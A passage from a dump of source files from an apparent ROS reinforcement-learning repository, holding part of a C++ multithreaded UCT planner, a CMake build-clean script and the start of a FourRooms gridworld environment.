numactions))\n info->uctVisits = MIN_VISITS * numactions;\n\n for (int j = 0; j < numactions; j++){\n if (info->needsUpdate){\n updateStateActionFromModel(s, j, info);\n }\n if (info->uctActions[j] > MIN_VISITS)\n info->uctActions[j] = MIN_VISITS;\n }\n info->needsUpdate = false;\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n pthread_yield();\n\n pthread_mutex_lock(&statespace_mutex);\n\n }\n pthread_mutex_unlock(&statespace_mutex);\n\n pthread_mutex_lock(&update_mutex);\n lastUpdate = updateTime;\n pthread_mutex_unlock(&update_mutex);\n\n}\n\n\n\n\n////////////////////////////\n// Helper Functions //\n////////////////////////////\n\nPO_ParallelETUCT::state_t PO_ParallelETUCT::canonicalize(const std::vector<float> &s) {\n if (PLANNERDEBUG) cout << \"canonicalize(s = \" << s[0] << \", \"\n << s[1] << \")\" << endl;\n\n // discretize it\n std::vector<float> s2;\n if (statesPerDim[0] > 0){\n s2 = discretizeState(s);\n } else {\n s2 = s;\n }\n\n pthread_mutex_lock(&statespace_mutex);\n\n // get state_t for pointer if its in statespace\n const std::pair<std::set<std::vector<float> >::iterator, bool> result =\n statespace.insert(s2);\n state_t retval = &*result.first; // Dereference iterator then get pointer\n\n // if not, init this new state\n if (result.second) { // s is new, so initialize Q(s,a) for all a\n state_info* info = &(statedata[retval]);\n int id = nstates++;\n pthread_mutex_unlock(&statespace_mutex);\n initStateInfo(retval, info, id);\n } else {\n pthread_mutex_unlock(&statespace_mutex);\n }\n\n return retval;\n}\n\n\n// init state info\nvoid PO_ParallelETUCT::initStateInfo(state_t s, state_info* info, int id){\n //if (PLANNERDEBUG) cout << \"initStateInfo()\";\n\n // init mutex's for this state info\n pthread_mutex_init(&info->statemodel_mutex, NULL);\n pthread_mutex_init(&info->stateinfo_mutex, NULL);\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n // model data (transition, reward, known)\n\n pthread_mutex_lock(&info->statemodel_mutex);\n info->model = new StateActionInfo[numactions];\n pthread_mutex_unlock(&info->statemodel_mutex);\n\n\n\n info->id = id;\n if (PLANNERDEBUG) cout << \" id = \" << info->id << endl;\n\n // model q values, visit counts\n info->Q.resize(numactions, 0);\n info->uctActions.resize(numactions, 1);\n info->uctVisits = 1;\n info->visited = 0; //false;\n\n for (int i = 0; i < numactions; i++){\n info->Q[i] = rng.uniform(0, 0.01);\n }\n\n info->needsUpdate = true;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n //if (PLANNERDEBUG) cout << \"done with initStateInfo()\" << endl;\n\n}\n\n\nvoid PO_ParallelETUCT::printStates(){\n\n pthread_mutex_lock(&statespace_mutex);\n for (std::set< std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n pthread_mutex_unlock(&statespace_mutex);\n\n state_t s = canonicalize(*i);\n\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[s]);\n pthread_mutex_unlock(&statespace_mutex);\n\n cout << \"State \" << info->id << \": \";\n for (unsigned j = 0; j < s->size(); j++){\n cout << (*s)[j] << \", \";\n }\n cout << endl;\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n //pthread_mutex_lock(&info->statemodel_mutex);\n for (int act = 0; act < numactions; act++){\n cout << \" Q: \" << info->Q[act] << endl;\n // << \" R: \" << info->modelInfo[act].reward << endl;\n }\n // pthread_mutex_unlock(&info->statemodel_mutex);\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n pthread_mutex_lock(&statespace_mutex);\n\n }\n pthread_mutex_unlock(&statespace_mutex);\n\n}\n\n\nvoid PO_ParallelETUCT::deleteInfo(state_info* info){\n\n pthread_mutex_lock(&info->statemodel_mutex);\n delete [] info->model;\n pthread_mutex_unlock(&info->statemodel_mutex);\n\n}\n\n\n\ndouble PO_ParallelETUCT::getSeconds(){\n struct timezone tz;\n timeval timeT;\n gettimeofday(&timeT, &tz);\n return timeT.tv_sec + (timeT.tv_usec / 1000000.0);\n}\n\n\nfloat PO_ParallelETUCT::uctSearch(const std::vector<float> &actS, state_t discS, int depth){\n if (UCTDEBUG){\n cout << \" uctSearch state \";\n for (unsigned i = 0; i < actS.size(); i++){\n cout << actS[i] << \", \";\n }\n cout << \" at depth \" << depth << endl;\n }\n\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[discS]);\n pthread_mutex_unlock(&statespace_mutex);\n\n // if max depth\n // iterative deepening (probability inversely proportional to visits)\n //float terminateProb = 1.0/(2.0+(float)info->uctVisits);\n\n // already visited, stop here\n if (depth > MAX_DEPTH){\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n // return max q value here\n std::vector<float>::iterator maxAct =\n std::max_element(info->Q.begin(),\n info->Q.end());\n float maxval = *maxAct;\n\n if (UCTDEBUG)\n cout << \"Terminated after depth: \" << depth\n // << \" prob: \" << terminateProb\n << \" Q: \" << maxval\n << \" visited: \" << info->visited << endl;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n return maxval;\n }\n\n // select action\n int action = selectUCTAction(info);\n\n // simulate action to get next state and reward\n // depending on exploration, may also terminate us\n float reward = 0;\n bool term = false;\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n float learnRate;\n //float learnRate = 0.001;\n //float learnRate = 1.0 / info->uctActions[action];\n // learnRate = 10.0 / (info->uctActions[action] + 100.0);\n learnRate = 10.0 / (info->uctActions[action] + 10.0);\n //if (learnRate < 0.001 && MAX_TIME < 0.5)\n //learnRate = 0.001;\n //learnRate = 0.05;\n //learnRate = 1.0;\n\n // tell model learning thread to update this state since we've visited it\n info->needsUpdate = true;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n std::vector<float> actualNext = simulateNextState(actS, discS, info, action, &reward, &term);\n\n // simulate reward from this action\n if (term){\n // this one terminated\n if (UCTDEBUG) cout << \" Terminated on exploration condition\" << endl;\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n info->Q[action] += learnRate * (reward - info->Q[action]);\n info->uctVisits++;\n info->uctActions[action]++;\n\n if (UCTDEBUG)\n cout << \" Depth: \" << depth << \" Selected action \" << action\n << \" r: \" << reward\n << \" StateVisits: \" << info->uctVisits\n << \" ActionVisits: \" << info->uctActions[action] << endl;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n return reward;\n }\n\n // simulate next state from this action\n state_t discNext = canonicalize(actualNext);\n\n if (UCTDEBUG)\n cout << \" Depth: \" << depth << \" Selected action \" << action\n << \" r: \" << reward << endl;\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n info->visited++; // = true;\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n // new q value\n float newQ = reward + gamma * uctSearch(actualNext, discNext, depth+1);\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n if (info->visited == 1){\n\n // update q and visit counts\n info->Q[action] += learnRate * (newQ - info->Q[action]);\n info->uctVisits++;\n info->uctActions[action]++;\n\n if (UCTDEBUG)\n cout << \" Depth: \" << depth << \" newQ: \" << newQ\n << \" StateVisits: \" << info->uctVisits\n << \" ActionVisits: \" << info->uctActions[action] << endl;\n\n if (lambda < 1.0){\n\n // new idea, return max of Q or new q\n std::vector<float>::iterator maxAct =\n std::max_element(info->Q.begin(),\n info->Q.end());\n float maxval = *maxAct;\n\n if (UCTDEBUG)\n cout << \" Replacing newQ: \" << newQ;\n\n // replace with w avg of maxq and new val\n newQ = (lambda * newQ) + ((1.0-lambda) * maxval);\n\n if (UCTDEBUG)\n cout << \" with wAvg: \" << newQ << endl;\n }\n\n }\n\n info->visited--;\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n // return q\n return newQ;\n\n}\n\n\nint PO_ParallelETUCT::selectUCTAction(state_info* info){\n // if (UCTDEBUG) cout << \" selectUCTAction\" << endl;\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n std::vector<float> &Q = info->Q;\n\n if (info->uctActions.size() < (unsigned)numactions){\n cout << \"ERROR: uctActions has size \" << info->uctActions.size() << endl << flush;\n info->uctActions.resize(numactions);\n }\n\n // loop through\n float rewardBound = rrange;\n if (rewardBound < 1.0)\n rewardBound = 1.0;\n rewardBound /= (1.0 - gamma);\n if (UCTDEBUG) cout << \"Reward bound: \" << rewardBound << endl;\n\n std::vector<float> uctQ(numactions, 0.0);\n\n for (int i = 0; i < numactions; i++){\n\n // this actions value is Q + rMax * 2 sqrt (log N(s) / N(s,a))\n uctQ[i] = Q[i] +\n rewardBound * 2.0 * sqrt(log((float)info->uctVisits) /\n (float)info->uctActions[i]);\n\n if (UCTDEBUG)\n cout << \" Action: \" << i << \" Q: \" << Q[i]\n << \" visits: \" << info->uctActions[i]\n << \" value: \" << uctQ[i] << endl;\n }\n\n // max element of uctQ\n std::vector<float>::iterator maxAct =\n max_element(uctQ.begin(), uctQ.end());\n float maxval = *maxAct;\n int act = maxAct - uctQ.begin();\n\n if (UCTDEBUG)\n cout << \" Selected \" << act << \" val: \" << maxval << endl;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n return act;\n\n}\n\nstd::vector<float> PO_ParallelETUCT::simulateNextState(const std::vector<float> &actualState, state_t discState, state_info* info, int action, float* reward, bool* term){\n //if (UCTDEBUG) cout << \" simulateNextState\" << endl;\n\n\n // check if its up to date\n pthread_mutex_lock(&info->statemodel_mutex);\n StateActionInfo* modelInfo = NULL;\n modelInfo = &(info->model[action]);\n pthread_mutex_lock(&update_mutex);\n bool upToDate = modelInfo->frameUpdated >= lastUpdate;\n pthread_mutex_unlock(&update_mutex);\n\n if (!upToDate){\n updateStateActionHistoryFromModel(*discState, action, modelInfo);\n }\n\n *reward = modelInfo->reward;\n *term = (rng.uniform() < modelInfo->termProb);\n\n if (*term){\n pthread_mutex_unlock(&info->statemodel_mutex);\n return actualState;\n }\n\n float randProb = rng.uniform();\n\n float probSum = 0.0;\n std::vector<float> nextstate;\n\n if (REALSTATEDEBUG) cout << \"randProb: \" << randProb << \" numNext: \" << modelInfo->transitionProbs.size() << endl;\n\n if (modelInfo->transitionProbs.size() == 0)\n nextstate = actualState;\n\n for (std::map<std::vector<float>, float>::iterator outIt\n = modelInfo->transitionProbs.begin();\n outIt != modelInfo->transitionProbs.end(); outIt++){\n\n float prob = (*outIt).second;\n probSum += prob;\n if (REALSTATEDEBUG) cout << randProb << \", \" << probSum << \", \" << prob << endl;\n\n if (randProb <= probSum){\n nextstate = (*outIt).first;\n if (REALSTATEDEBUG) cout << \"selected state \" << randProb << \", \" << probSum << \", \" << prob << endl;\n break;\n }\n }\n\n pthread_mutex_unlock(&info->statemodel_mutex);\n\n if (trackActual){\n\n\n // find the relative change from discrete center\n std::vector<float> relChange = subVec(nextstate, *discState);\n\n // add that on to actual current state value\n nextstate = addVec(actualState, relChange);\n\n\n }\n\n // check that next state is valid\n for (unsigned j = 0; j < featmin.size(); j++){\n if (nextstate[j] < (featmin[j]-EPSILON)\n || nextstate[j] > (featmax[j]+EPSILON)){\n\n if (HISTORY_SIZE == 0) return actualState;\n\n // still tack on correct history\n std::vector<float> modState = actualState;\n int stateOnlySize = modState.size()-HISTORY_FL_SIZE;\n for (int i = stateOnlySize; i < (int)modState.size(); i++){\n if (action == (i - stateOnlySize))\n modState[i] = 1;\n else\n modState[i] = 0;\n }\n return modState;\n\n }\n }\n\n // return new actual state\n return nextstate;\n\n}\n\nstd::vector<float> PO_ParallelETUCT::selectRandomState(){\n\n pthread_mutex_lock(&statespace_mutex);\n if (statespace.size() == 0){\n pthread_mutex_unlock(&statespace_mutex);\n return std::vector<float>(featmax.size());\n }\n pthread_mutex_unlock(&statespace_mutex);\n\n // take a random state from the space of ones we've visited\n int index = 0;\n std::vector<float> state;\n\n pthread_mutex_lock(&statespace_mutex);\n if (statespace.size() > 1){\n index = rng.uniformDiscrete(0, statespace.size()-1);\n }\n pthread_mutex_unlock(&statespace_mutex);\n\n int cnt = 0;\n\n if (PTHREADDEBUG) cout << \"*** Planning thread wants search lock (randomstate) ***\" << endl << flush;\n\n pthread_mutex_lock(&statespace_mutex);\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++, cnt++){\n if (cnt == index){\n state = *i;\n break;\n }\n }\n pthread_mutex_unlock(&statespace_mutex);\n\n return state;\n}\n\n\nvoid* poParallelSearchStart(void* arg){\n PO_ParallelETUCT* pe = reinterpret_cast<PO_ParallelETUCT*>(arg);\n\n cout << \"start parallel uct planning search thread\" << endl << flush;\n\n while(true){\n pe->parallelSearch();\n }\n\n return NULL;\n}\n\nvoid PO_ParallelETUCT::parallelSearch(){\n\n std::vector<float> actS;\n state_t discS;\n\n // get new planning state\n if (PTHREADDEBUG) {\n cout << \"*** Planning thread wants planning state lock ***\" << endl << flush;\n }\n pthread_mutex_lock(&(plan_state_mutex));\n\n // take the state we're in (during episodes)\n actS = actualPlanState;\n discS = discPlanState;\n\n // wait for non-null\n if (discS == NULL){\n pthread_mutex_unlock(&(plan_state_mutex));\n return;\n }\n\n if (PTHREADDEBUG){\n pthread_mutex_lock(&statespace_mutex);\n cout << \" uct search from state s (\"\n << statedata[discS].uctVisits <<\"): \";\n pthread_mutex_unlock(&statespace_mutex);\n\n for (unsigned i = 0; i < discS->size(); i++){\n cout << (*discS)[i] << \", \";\n }\n cout << endl << flush;\n }\n\n // call uct search on it\n pthread_mutex_unlock(&(plan_state_mutex));\n\n if (PTHREADDEBUG) cout << \"*** Planning thread wants search lock ***\" << endl;\n uctSearch(actS, discS, 0);\n\n pthread_yield();\n\n}\n\n\n\nvoid PO_ParallelETUCT::savePolicy(const char* filename){\n\n ofstream policyFile(filename, ios::out | ios::binary | ios::trunc);\n\n // first part, save the vector size\n int fsize = featmin.size();\n policyFile.write((char*)&fsize, sizeof(int));\n\n // save numactions\n policyFile.write((char*)&numactions, sizeof(int));\n\n // go through all states, and save Q values\n pthread_mutex_lock(&statespace_mutex);\n\n for (std::set< std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n pthread_mutex_unlock(&statespace_mutex);\n\n state_t s = canonicalize(*i);\n\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[s]);\n pthread_mutex_unlock(&statespace_mutex);\n\n // save state\n policyFile.write((char*)&((*i)[0]), sizeof(float)*fsize);\n\n // save q-values\n pthread_mutex_lock(&info->stateinfo_mutex);\n policyFile.write((char*)&(info->Q[0]), sizeof(float)*numactions);\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n pthread_mutex_lock(&statespace_mutex);\n }\n pthread_mutex_unlock(&statespace_mutex);\n\n policyFile.close();\n}\n\n\n\nvoid PO_ParallelETUCT::loadPolicy(const char* filename){\n\n ifstream policyFile(filename, ios::in | ios::binary);\n\n // first part, save the vector size\n int fsize;\n policyFile.read((char*)&fsize, sizeof(int));\n cout << \"Numfeats loaded: \" << fsize << endl << flush;\n\n // save numactions\n int nact;\n policyFile.read((char*)&nact, sizeof(int));\n cout << \"nact loaded: \" << nact << endl << flush;\n cout << \" numactions: \" << numactions << endl << flush;\n\n if (nact != numactions){\n cout << \"this policy is not valid loaded nact: \" << nact\n << \" was told: \" << numactions << endl << flush;\n exit(-1);\n }\n\n // go through all states, loading q values\n while(!policyFile.eof()){\n std::vector<float> state(fsize, 0.0);\n\n // load state\n policyFile.read((char*)&(state[0]), sizeof(float)*fsize);\n //if (LOADDEBUG){\n //cout << \"load policy for state: \";\n // printState(state);\n //}\n\n state_t s = canonicalize(state);\n\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[s]);\n pthread_mutex_unlock(&statespace_mutex);\n\n if (policyFile.eof()) break;\n\n // load q values\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n policyFile.read((char*)&(info->Q[0]), sizeof(float)*numactions);\n\n info->uctVisits = numactions * 100;\n\n for (int j = 0; j < numactions; j++){\n info->uctActions[j] = 100;\n }\n\n info->needsUpdate = true;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n //if (LOADDEBUG){\n //cout << \"Q values: \" << endl;\n //for (int iAct = 0; iAct < numactions; iAct++){\n // cout << \" Action: \" << iAct << \" val: \" << info->Q[iAct] << endl;\n //}\n //}\n }\n\n policyFile.close();\n cout << \"Policy loaded!!!\" << endl << flush;\n}\n\nvoid PO_ParallelETUCT::logValues(ofstream *of, int xmin, int xmax, int ymin, int ymax){\n std::vector<float> state(2, 0.0);\n for (int i = xmin ; i < xmax; i++){\n for (int j = ymin; j < ymax; j++){\n state[0] = j;\n state[1] = i;\n state_t s = canonicalize(state);\n\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[s]);\n pthread_mutex_unlock(&statespace_mutex);\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n std::vector<float> &Q_s = info->Q;\n const std::vector<float>::iterator max =\n random_max_element(Q_s.begin(), Q_s.end());\n *of << (*max) << \",\";\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n }\n }\n}\n\n\n// should do it such that an already discretized state stays the same\n// mainly the numerical value of each bin should be the average of that bin\nstd::vector<float> PO_ParallelETUCT::discretizeState(const std::vector<float> &s){\n std::vector<float> ds(s.size());\n\n for (unsigned i = 0; i < statesPerDim.size(); i++){\n\n // since i'm sometimes doing this for discrete domains\n // want to center bins on 0, not edge on 0\n //cout << \"feat \" << i << \" range: \" << featmax[i] << \" \" << featmin[i] << \" \" << (featmax[i]-featmin[i]) << \" n: \" << (float)statesPerDim;\n\n float factor = (featmax[i] - featmin[i]) / (float)statesPerDim[i];\n int bin = 0;\n if (s[i] > 0){\n bin = (int)((s[i]+factor/2) / factor);\n } else {\n bin = (int)((s[i]-factor/2) / factor);\n }\n\n ds[i] = factor*bin;\n //cout << \" factor: \" << factor << \" bin: \" << bin;\n //cout << \" Original: \" << s[i] << \" Discrete: \" << ds[i] << endl;\n }\n\n for (unsigned i = statesPerDim.size(); i < s.size(); i++){\n ds[i] = s[i];\n }\n\n return ds;\n}\n\n\nstd::vector<float> PO_ParallelETUCT::addVec(const std::vector<float> &a, const std::vector<float> &b){\n if (a.size() != b.size())\n cout << \"ERROR: add vector sizes wrong \" << a.size() << \", \" << b.size() << endl;\n\n std::vector<float> c(a.size(), 0.0);\n for (unsigned i = 0; i < a.size(); i++){\n c[i] = a[i] + b[i];\n }\n\n return c;\n}\n\nstd::vector<float> PO_ParallelETUCT::subVec(const std::vector<float> &a, const std::vector<float> &b){\n if (a.size() != b.size())\n cout << \"ERROR: sub vector sizes wrong \" << a.size() << \", \" << b.size() << endl;\n\n std::vector<float> c(a.size(), 0.0);\n for (unsigned i = 0; i < a.size(); i++){\n c[i] = a[i] - b[i];\n }\n\n return c;\n}\n\nvoid PO_ParallelETUCT::setFirst(){\n if (HISTORY_SIZE == 0) return;\n\n if (HISTORYDEBUG) cout << \"first action, set sahistory to 0s\" << endl;\n\n pthread_mutex_lock(&(history_mutex));\n // first action, reset history vector\n saHistory.resize(saHistory.size(), 0.0);\n pthread_mutex_unlock(&(history_mutex));\n}\n\nvoid PO_ParallelETUCT::setSeeding(bool seeding){\n\n if (HISTORYDEBUG) cout << \"set seed mode to \" << seeding << endl;\n seedMode = seeding;\n\n}\n" }, { "alpha_fraction": 0.7757256031036377, "alphanum_fraction": 0.7757256031036377, "avg_line_length": 36.900001525878906, "blob_id": "2540ff83bdc7e30c83bdd9097e27e75cdcb16d9a", "content_id": "754bc976d1ad50a87af8c41b198721bab185c2b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 379, "license_type": "no_license", "max_line_length": 74, "num_lines": 10, "path": "/build/nav_stack_example/CMakeFiles/local_planner.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/local_planner.dir/src/local_planner.cpp.o\"\n \"/home/justin/ros_test/devel/lib/nav_stack_example/local_planner.pdb\"\n \"/home/justin/ros_test/devel/lib/nav_stack_example/local_planner\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/local_planner.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.5256774425506592, "alphanum_fraction": 0.5504074096679688, "avg_line_length": 17.982013702392578, "blob_id": "6aeb26ff4bc01f5398987712d3d7c237d25bdfa8", "content_id": "65528181b98eed38a2c1be1b0c28c38f263275ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10554, "license_type": "no_license", "max_line_length": 85, "num_lines": 556, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/fourrooms.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <rl_env/fourrooms.hh>\n\n/*\nFourRooms::FourRooms(Random &rand, const Gridworld *gridworld, bool stochastic):\n grid(gridworld), goal(coord_t(2.,2.)), noisy(stochastic), rng(rand),\n s(2),\n ns(s[0]),\n ew(s[1])\n{\n randomize_goal();\n reset();\n}\n*/\n\n \nFourRooms::FourRooms(Random &rand):\n grid(create_default_map()),\n goal(coord_t(1.,10.)), \n negReward(true),\n noisy(false),\n extraReward(false),\n rewardSensor(false),\n rng(rand),\n doorway(coord_t(2.,4.)),\n s(2),\n unused(6),\n ns(s[0]),\n ew(s[1]),\n distN(unused[0]),\n distS(unused[1]),\n distE(unused[2]),\n distW(unused[3]),\n rewardEW(unused[4]),\n rewardNS(unused[5]),\n goalOption(false)\n{\n reset();\n //cout << *this << endl;\n}\n \n\nFourRooms::FourRooms(Random &rand, bool stochastic, bool negReward, \n\t\t bool exReward):\n grid(create_default_map()),\n goal(coord_t(1.,10.)), \n negReward(negReward),\n noisy(stochastic),\n extraReward(exReward),\n rewardSensor(false),\n rng(rand),\n doorway(coord_t(2.,4.)),\n s(2),\n unused(6),\n ns(s[0]),\n ew(s[1]),\n distN(unused[0]),\n distS(unused[1]),\n distE(unused[2]),\n distW(unused[3]),\n rewardEW(unused[4]),\n rewardNS(unused[5]),\n goalOption(goalOption)\n{\n reset();\n}\n\n// Create the version with extra state features for wall distances\nFourRooms::FourRooms(Random &rand, bool stochastic, bool negReward):\n grid(create_default_map()),\n goal(coord_t(1.,10.)), \n negReward(negReward),\n noisy(stochastic),\n extraReward(true), //false),\n rewardSensor(false),\n rng(rand),\n doorway(coord_t(2.,4.)),\n s(6),\n unused(2),\n ns(s[0]),\n ew(s[1]),\n distN(s[2]),\n distS(s[3]),\n distE(s[4]),\n distW(s[5]),\n rewardEW(unused[0]),\n rewardNS(unused[1]),\n goalOption(false)\n{\n reset();\n}\n\n\n// Create the version with extra state features for wall distances and \n// reward distance\nFourRooms::FourRooms(Random &rand, bool stochastic):\n grid(create_default_map()),\n goal(coord_t(1.,10.)),\n negReward(true),\n noisy(stochastic),\n extraReward(false),\n rewardSensor(false),\n rng(rand),\n doorway(coord_t(2.,4.)),\n s(8),\n unused(0),\n ns(s[0]),\n ew(s[1]),\n distN(s[2]),\n distS(s[3]),\n distE(s[4]),\n distW(s[5]),\n rewardEW(s[6]),\n rewardNS(s[7]),\n goalOption(false)\n{\n // cout << \"Four room with wall dist and reward sensor\" << endl;\n reset();\n}\n\n\n\n/*\nFourRooms::FourRooms(Random &rand, unsigned width, unsigned height, bool stochastic):\n grid(new Gridworld(height, width, rand)),\n goal(coord_t(2.,2.)), \n noisy(stochastic), rng(rand),\n doorway(NULL), \n s(2),\n ns(s[0]),\n ew(s[1])\n{\n randomize_goal();\n reset();\n}\n*/\n\nFourRooms::~FourRooms() { delete grid; }\n\nconst std::vector<float> &FourRooms::sensation() const { \n //cout << \"At state \" << s[0] << \", \" << s[1] << endl;\n\n return s; \n}\n\nfloat FourRooms::apply(int action) {\n\n //cout << \"Taking action \" << static_cast<room_action_t>(action) << endl;\n\n const room_action_t effect =\n noisy\n ? add_noise(static_cast<room_action_t>(action)) \n : static_cast<room_action_t>(action);\n switch(effect) {\n case NORTH:\n if (!grid->wall(static_cast<unsigned>(ns),\n\t\t static_cast<unsigned>(ew),\n\t\t effect))\n {\n\t++ns;\n\tcalcWallDistances();\n }\n return reward(effect);\n case SOUTH:\n if (!grid->wall(static_cast<unsigned>(ns),\n\t\t static_cast<unsigned>(ew),\n\t\t effect))\n {\n\t--ns;\n\tcalcWallDistances();\n }\n return reward(effect);\n case EAST:\n if (!grid->wall(static_cast<unsigned>(ns),\n\t\t static_cast<unsigned>(ew),\n\t\t effect))\n {\n\t++ew;\n\tcalcWallDistances();\n }\n return reward(effect);\n case WEST:\n if (!grid->wall(static_cast<unsigned>(ns),\n\t\t static_cast<unsigned>(ew),\n\t\t effect))\n {\n\t--ew;\n\tcalcWallDistances();\n }\n return reward(effect);\n }\n std::cerr << \"Unreachable point reached in FourRooms::apply!!!\\n\";\n return 0; // unreachable, I hope\n}\n\n\nfloat FourRooms::reward(int effect) {\n \n if (extraReward){\n // 0 on goal\n if (terminal())\n return 0;\n\n // 0 when heading right dir towards door\n // towards top middle door\n if (ew < 6 && ns == 8 && effect == EAST){\n return -1;\n }\n\n // towards left door\n if (ew == 1 && ns > 4 && effect == SOUTH){\n return -1;\n }\n\n // towards right door\n if (ew == 8 && ns > 3 && effect == SOUTH){\n return -1;\n }\n\n // towrads bottom door\n if (ew < 6 && ns == 1 && effect == EAST){\n return -1;\n }\n\n // 0 when heading towards goal\n if (ns == 1 && effect == EAST){\n return -1;\n }\n if (ew == 10 && ns < 4 && effect == SOUTH){\n return -1;\n }\n\n // normally -2\n return -2;\n\n }\n\n\n if (negReward){\n // normally -1 and 0 on goal\n if (terminal())\n return 0;\n else \n return -1;\n \n }else{\n\n // or we could do 0 and 1 on goal\n if (terminal())\n return 1;\n else \n return 0;\n }\n}\n\n\nbool FourRooms::terminal() const {\n // current position equal to goal??\n return coord_t(ns,ew) == goal;\n}\n\n\nvoid FourRooms::calcWallDistances(){\n\n // calculate distances East and West\n // if we're not in the same row as a doorway\n if (ns != 1 && ns != 8){\n // left side of wall\n if (ew < 5){\n distW = ew;\n distE = 4 - ew;\n }\n // right side of wall\n else {\n distW = ew - 6;\n distE = 10 - ew;\n }\n } \n // doorway\n else {\n distW = ew;\n distE = 10 - ew;\n }\n\n // in a vertical doorway\n if (ns == 5 && ew == 1){\n distW = 0;\n distE = 0;\n }\n if (ns == 4 && ew == 8){\n distW = 0;\n distE = 0;\n }\n\n // calculate NS\n // left side\n if (ew < 5){\n // not in doorway column\n if (ew != 1){\n // top room\n if (ns > 5){\n\tdistN = 10 - ns;\n\tdistS = ns - 6;\n }\n // bottom room\n else {\n\tdistN = 4 - ns;\n\tdistS = ns;\n }\n }\n // doorway column\n else {\n distN = 10 - ns;\n distS = ns;\n }\n }\n // right side\n else {\n // not in doorway column\n if (ew != 8){\n // top room\n if (ns > 4){\n\tdistN = 10-ns;\n\tdistS = ns - 5;\n }\n // bottom room\n else {\n\tdistN = 3 - ns;\n\tdistS = ns;\n }\n }\n // doorway column\n else {\n distN = 10-ns;\n distS = ns;\n }\n }\n\n // in horiz doorway\n if (ew == 5 && (ns == 1 || ns == 8)){\n distN = 0;\n distS = 0;\n }\n\n\n // calculate reward distances\n // can see it e/w\n if (ns == 1){\n rewardEW = 10 - ew;\n }\n else {\n rewardEW = 100;\n }\n\n // can see ns\n if (ew == 10 && ns < 4){\n rewardNS = 1 - ns;\n }\n else {\n rewardNS = 100;\n }\n \n /*\n cout << \"x,y: \" << ew << \", \" << ns << \" N,S,E,W: \" \n << distN << \", \" << distS << \", \" \n << distE << \", \" << distW << \" reward EW, NS: \" \n << rewardEW << \", \" << rewardNS << endl;\n */\n}\n\n\nvoid FourRooms::reset() {\n // start randomly in upper left room (goal is lower right)\n ns = rng.uniformDiscrete(6, grid->height()-1);\n ew = rng.uniformDiscrete(0, 4);\n\n //ns = 8;\n //ew = 2;\n\n //ns = 4;\n //ew = 9;\n\n calcWallDistances();\n}\n\n\nstd::vector<std::vector<float> > FourRooms::getSubgoals(){\n\n //cout << \"Getting room subgoals \" << endl;\n\n // Create vector of state representations, each is a subgoal\n std::vector<std::vector<float> > subgoals;\n\n \n std::vector<float> subgoal(2);\n\n // between two left rooms\n subgoal[0] = 5;\n subgoal[1] = 1;\n subgoals.push_back(subgoal);\n \n // between two right rooms\n subgoal[0] = 4;\n subgoal[1] = 8;\n subgoals.push_back(subgoal);\n \n // between two top rooms\n subgoal[0] = 8;\n subgoal[1] = 5;\n subgoals.push_back(subgoal);\n \n // between two lower rooms\n subgoal[0] = 1;\n subgoal[1] = 5;\n subgoals.push_back(subgoal);\n\n if (goalOption){\n // actual goal\n subgoal[0] = 1;\n subgoal[1] = 10;\n subgoals.push_back(subgoal);\n }\n\n return subgoals;\n\n}\n\n\nint FourRooms::getNumActions(){\n return 4;\n}\n\n\nstd::ostream &operator<<(std::ostream &out, const FourRooms &rooms) {\n out << \"Map:\\n\" << *rooms.grid;\n\n // print goal\n out << \"Goal: row \" << rooms.goal.first\n << \", column \" << rooms.goal.second << \"\\n\";\n\n // print doorway\n out << \"Doorway: row \" << rooms.doorway.first\n << \", column \" << rooms.doorway.second << \"\\n\";\n\n return out;\n}\n\nconst Gridworld *FourRooms::create_default_map() {\n int width = 11;\n int height = 11;\n std::vector<std::vector<bool> > nsv(width, std::vector<bool>(height-1,false));\n std::vector<std::vector<bool> > ewv(height, std::vector<bool>(width-1,false));\n\n // put the vertical wall between the two rooms\n for (int j = 0; j < height; j++){\n \t// skip doorways at 1 and 8\n \tif (j == 1 || j == 8)\n \t\tcontinue;\n ewv[j][4] = true;\n ewv[j][5] = true;\n }\n \n nsv[5][0] = true;\n nsv[5][1] = true;\n nsv[5][7] = true;\n nsv[5][8] = true;\n\n // put the horizontal wall for the left room\n for (int i = 0; i < 6; i++){\n \t// skip doorway at 1\n \tif (i 